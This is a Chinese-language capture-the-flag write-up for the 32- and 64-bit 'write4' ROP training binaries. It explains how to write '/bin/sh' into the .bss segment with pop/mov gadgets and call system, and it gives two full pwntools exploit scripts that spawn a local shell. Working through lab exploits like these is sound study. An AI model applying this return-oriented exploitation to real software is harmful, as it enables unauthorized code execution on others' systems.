32位
checksec,开了NX
进入 ida 查看,溢出点还是在 pwnme 函数,可以看到程序中存在 system 函数,但是没有 /bin/sh 字符串
所以需要在 bss 段或者 data 段写入 /bin/sh 字符串,Ctrl+s 查看 bss 段或者 data 段的权限
这里选择在 bss 段中写入,ida 查看 bss 段的地址
由于是32位程序,一次只能写入4个字节,所以 /bin/sh 需要分两次写入 bss 段
利用 ROPgadget 查找可用的 gadget
可以用以下指令写入数据:
第一条指令 edi 存的是要写入 bss 段的所在位置地址,ebp 存的是要写入的数据
第二条指令是指将 ebp 中的内容写到 edi 内存的所在地址
pop edi ; pop ebp ; ret
mov dword ptr [edi], ebp ; ret
exp
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./write432')
bss = 0x0804A040
system = 0x08048430
pop_edi_ebp = 0x080486da
mov_edi_ebp = 0x08048670
payload = 'A' * 0x28 + p32(0)
payload += p32(pop_edi_ebp) + p32(bss) + '/bin' + p32(mov_edi_ebp)
payload += p32(pop_edi_ebp) + p32(bss+4) + '/sh\x00' + p32(mov_edi_ebp)
payload += p32(system) + p32(0) + p32(bss) #这里的p32(0)不是很懂
p.sendline(payload)
p.interactive()
64位
思路和32位一致,由于是64位程序, 字符串 /bin/sh 不用分开写
还是写入 bss 段,在 ida 里找 bss 段和 system 函数的地址
利用 ROPgadget 找可用的 gadget
这里用
pop rdi ; ret #64位的数据不是直接传入栈里面的,需要一个pop来将system和/bin/sh的地址接收
pop r14 ; pop r15 ; ret
mov qword ptr [r14], r15 ; ret
exp
#!/usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./write4')
system = 0x04005E0
bss = 0x0601060
pop_rdi = 0x0400893
pop_r14_r15 = 0x0400890
mov_r14_r15 = 0x0400820
payload = 'A' * 0x20 + p64(0)
payload += p64(pop_r14_r15)
payload += p64(bss) + '/bin/sh\x00' #'/bin/sh\x00'补充到8个字节
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system)
p.sendline(payload)
p.interactive()